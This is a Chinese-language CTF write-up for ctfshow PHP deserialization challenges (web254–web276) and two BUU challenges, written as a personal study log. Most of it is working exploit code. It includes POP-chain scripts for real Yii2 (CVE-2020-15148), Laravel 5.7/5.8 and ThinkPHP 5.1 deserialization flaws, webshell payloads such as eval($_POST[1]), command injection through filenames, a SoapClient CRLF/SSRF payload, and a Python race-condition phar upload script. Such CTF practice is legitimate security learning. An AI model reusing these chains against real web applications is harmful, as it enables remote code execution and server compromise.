不知道为啥这个格式乱了好多,鼓捣半天
CTFSHOW-php反序列化
web254-传参
- 看了半天怎么反序列化结果发现这题不考反序列化
- 直接传参:
?username=xxxxxx&password=xxxxxx
web255-反序列化
- 基础的反序列化,首先要求传入username和password,然后cookie传入一个user进行反序列化
- 然后依次调用类中的三个方法,序列化时应将isvip设置为true,并进行url编码
- payload:
- (get)
?username=xxxxxx&password=xxxxxx
- (cookie)
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256-变量覆盖
- 和255差不多,要求username和password不能相等,把username改为aaa把password改为bbb后序列化
- payload:
- (get)
?username=aaa&password=bbb
- (cookie)
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257-pop
可以看到backDoor类和info类中存在同名函数,利用同名函数构造pop链:
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code = 'system("ls");'; //执行后换成system("cat flag.php") public function getInfo(){ eval($this->code); } } echo urlencode(serialize(new ctfShowUser()));
web258-绕过正则
这个故事告诉我们不能偷懒,妄图直接拿上一个题的脚本加两个
str_replace
,结果成员变量给换成pubic的了,死死活活出不来
/[oc]:\d+:/i
可以通过在数字前加+
绕过<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code = 'system("ls");'; //执行后换成system("cat flag.php") public function getInfo(){ eval($this->code); } } $t = str_replace(":11",":+11",serialize(new ctfShowUser())); $t = str_replace(":8",":+8",$t); echo urlencode($t);
web259-SoapClient类
提示:
flag.php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
- 可以猜到考的是SoapClient类的利用
在PHP 中使用
$_SERVER["REMOTE_ADDR"]
来取得客户端的 IP地址,但如果客户端是使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址;要想透过代理服务器取得客户端的真实 IP 地址,就要使用$_SERVER["HTTP_X_FORWARDED_FOR"]
来读取X-Forwarded-For 是一个 HTTP 扩展头部;HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP (HTTP学成**了
如果一个 HTTP 请求到达服务器之前,经过了三个代理 Proxy1、Proxy2、Proxy3,IP 分别为 IP1、IP2、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到以下信息:
X-Forwarded-For: IP0, IP1, IP2
Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求;列表中并没有 IP3,IP3 可以在服务端通过 Remote Address 字段获得
那么我们就可以构造序列化内容:
<?php $ua = "ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form- urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null, array('uri' => 'http://127.0.0.1', 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua)); $t = serialize($client); echo urlencode($t);
web260-正则
- 两个做法:
- 一个是字符串逃逸的原理:直接在序列化内容后加
ctfshow_i_love_36D
- 一个是成员变量赋值为
ctfshow_i_love_36D
web261-弱比较+绕过__wakeup
在php7.4.0开始,如果类中同时定义了
__unserialize()
和__wakeup()
两个魔术方法,则只有__unserialize()
方法会生效,__wakeup()
方法会被忽略
__unserialize()
方法让序列化后的$code等于username和password拼接的值,弱比较判断code是否等于0x36d->877序列化脚本:
<?php class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } echo urlencode(serialize(new ctfshowvip('877.php','<?php eval(@$_POST[1]);')));
访问877.php,命令执行得到flag
web262-字符串逃逸-变长
好了,今天智商持续掉线,有人连flag在哪个页面输出都不知道了
可以看到注释里有一个massage.php,内容表达了如果反序列化后的token=admin,就会输出flag
字符串替换:
$umsg = str_replace('fuck', 'loveU', serialize($msg));
直接C++构造超长的由54个
fuck
构成的字符串,payload:f=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";i:2;s:2:"to";i:3;s:5:"token";s:5:"admin";}&t=1&m=1
web263-session反序列化
卡住了,不知道为啥马写不进去
在经历了123456789….次尝试后,终于成功了
给了个登录页面,www.zip下载源码,index.php中:`$_SESSION['limit']=base64_decode($_COOKIE['limit']);`,可知session可控
在inc/inc.php中,存在
__destruct
方法,可以写文件<?php class User{ public $username='1.php'; public $password='<?php @eval($_POST[1]); ?>'; } echo base64_encode('|'.serialize(new User()));
请求一次index.php,写入序列化字符串,请求check.php,执行反序列化,访问long-1.php,写马成功
web264-字符串逃逸+session
- 按理来说应该和262差不多的,但是还是出不来
- 太感动了呜呜呜,我看看是谁不会设置cookie:
Cookie: PHPSESSID=vg227j3holoo5t07g0apqoc372; msg=1
- 就比262多了一个给Cookie[‘msg’]赋值,卡了好久好久…可见上一题也是在这里摔倒了
web265-引用
另token等于一个随机数:
$ctfshow->token=md5(mt_rand());
,但要求password和token相等,可以使用引用:<?php class ctfshowAdmin{ public $token; public $password; public function login(){ return $this->token===$this->password; } } $t = new ctfshowAdmin(); $t->password=&$t->token; echo urlencode(serialize($t));
get传参得到flag
web266-快速析构
- 又是新东西捏
- destruct会在脚本结束后执行,而抛出异常导致无法立即执行destruct,所以要进行快速析构
- 当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功;但是,由于给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法
- 方法:改掉属性的个数,删掉结尾的
}
- 在PHP中,类不区分大小写,所以可以改为
CTFshow
也可以绕过
web267-Yii框架
打开是一个ctfshow社区页面,扫目录页没扫到啥
弱口令
admin admin
成功登录,可以在about页面源码里找到view-source
,?r=site%2Fabout&view-source
可以看到:///backdoor/shell unserialize(base64_decode($_GET['code']))
搜了一下说是利用Yii框架,
Yii2 2.0.38
之前的版本存在反序列化漏洞,程序在调用unserialize 时,可通过构造特定的恶意请求执行任意命令;CVE编号是CVE-2020-15148有现成的exp可以直接rce:
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'passthru'; //函数 $this->id = 'tac /flag'; //参数 } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
passthru函数:是用来执行外部命令的,当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数
传参:
?r=/backdoor/shell&code=[序列化内容]
web268-Yii框架+1
和267步骤一样,但是267的exp用不了了,呜呜呜
新的exp:
<?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this->checkAccess = 'exec'; $this->id = 'cp /f* 1.txt'; } } } namespace Faker { use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct() { $this->formatters['isRunning'] = [new IndexAction(), 'run']; } } } namespace Codeception\Extension{ use Faker\Generator; class RunProcess { private $processes = []; public function __construct(){ $this->processes[]=new Generator(); } } } namespace{ use Codeception\Extension\RunProcess; echo base64_encode(serialize(new RunProcess())); }
然后访问1.txt,可以看到flag
web269-Yii框架+1+1
新新新新exp:
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /f* 1.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['render'] = [new CreateAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct() { $this->description = new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys = []; private $path; public function __construct() { $this->path = new See; $this->keys = array( "tingshuo"=>array("zheli"=>"suibianxie") ); } } // 生成poc echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); }
访问1.txt,得到flag
web270-Yii框架+1+1+1
又双叒叕是一个新的exp
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('exec', 'cp /f* 1.txt'); echo(base64_encode(serialize($exp))); }
yii反序列化漏洞复现及利用_Snakin_ya的博客-CSDN博客_yii反序列化漏洞
yii漏洞复现以及对yii相关的ctf题分析 - 哎呀我去, - 博客园 (cnblogs.com)
web271-Laravel5.7
先是搜到了这个是什么框架,然后去找了了个利用的但是用不了
呜呜呜,面向wp学ctf
还有就是post参数用hackbar不行,但是bp就可以,害的我耽误好久呜呜
<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application $this->command = $command; //要执行的php函数 system $this->parameters = $parameters; //要执行的php函数的参数 array('id') } } } namespace Faker { class DefaultGenerator{ protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application{ protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag')); echo urlencode(serialize($pendingcommand)); }
web272-Laravel5.8
还是框架漏洞(感觉这些框架的复现是个大工程啊,exp:
<?php namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>"); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); }
web273-Larvel5.8
- 和272一模一样,直接用272的payload就可以
- 据说是php版本不一样了
web274-thinkphp5.1
看源码找到:
@unserialize(base64_decode(\$_GET['data']))
exp:
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct() { $this->append = ["la"=>["ls /","calc"]]; //注意看这里 $this->data = ["la"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单请求类型伪装变量 'var_method' => '_method', // 表单ajax伪装变量 'var_ajax' => '_ajax', // 表单pjax伪装变量 'var_pjax' => '_pjax', // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO获取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默认全局过滤方法 用逗号分隔多个 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理标识 'https_agent_name' => '', // IP代理获取标识 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL伪静态后缀 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model{ } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows()));
传参的时候需要注意,除了要传data还要传一个上边代码标注的地方,内容是要执行的代码
web275-拼接rce
__destruct
方法里有这么一句:system('rm '.$this->filename);
,可以拼接命令因此要让
evilfile
的值为true,两个条件:public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile;
payload:
?fn=1.php;cat flag.php
,然后post一个php
或flag
web276-phar+条件竞争
需要写脚本多线程上传文件,思路和上一题差不多,让admin和evilfile值为true,就可以拼接执行命令
脚本思路:
首先需要制作phar包,然后上传文件,在被删除之前实现反序列化并执行命令
<?php class filter{ public $filename = '1.php;cat f*'; public $evilfile=true; public $admin = true; } $phar=new phar('1.phar'); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $obj=new filter(); $phar->setMetadata($obj); $phar->addFromString("1.txt","hao ye!"); $phar->stopBuffering();
获取回显并判断是否包含flag
定义两个线程执行上传和读取操作
脚本:
import requests import threading u = "http://ddd0d11f-a001-4dbd-9ec8-53fee7cc757d.challenge.ctf.show/" f = open("1.phar", 'rb').read() def upload(): requests.post(url=u + "?fn=1.phar", data=f) def execute(): r = requests.post(url=u + "?fn=phar://1.phar/", data="") if "ctfshow{" in r.text: print(r.text) exit() while 1: threading.Thread(target=upload()).start() threading.Thread(target=execute()).start()
BUU-反序列化
[0CTF 2016]piapiapia
打开是一个登录页面,试了几个密码都登不进去,试了一下www.zip,成功下载源码
可以发现有一个register.php。访问,随便注册一个账号登进去,可以看到有一个修改信息和上传图片的页面
研究源码吧
首先可以profile.php里找到一个
$photo = base64_encode(file_get_contents($profile['photo']));
然后继续找,在upload.php里:
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
,这里可以使用数组绕过继续,可以在class.php里看到这么一段:
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
继续跟进到
filter
方法:public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
可以发现可以构造字符串逃逸,因此思路就是,传入一个
nickname
,让它反序列化后输出config.php
这里有一个需要注意的就是,因为把nickname改成了字符型,所以后边的字符串要多一个
}
payload: wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
来,看笑话
我说呢我说呢我说呢怎么个事呢
f12找到base64编码后的字符串,去解码,得到flag
[安洵杯 2019]easy_serialize_php
可以直接看源码,这里写了一句:
eval('phpinfo();'); //maybe you can find something in here!
传参
?f=phpinfo
,找到了一个看起来很可疑的文件——d0g3_f1ag.php这个题看起来比上一个简单一点,也是字符串逃逸,但是是缩短的
extract($_POST);
,这里有一个变量覆盖,可以通过post传参,覆盖掉之前的session参数payload: _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:2:"bb";}
查看源码可以看到:
$flag = 'flag in /d0g3_fllllllag';
,把/d0g3_fllllllag
进行base64编码然后替换掉payload: _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:2:"bb";}
得到flag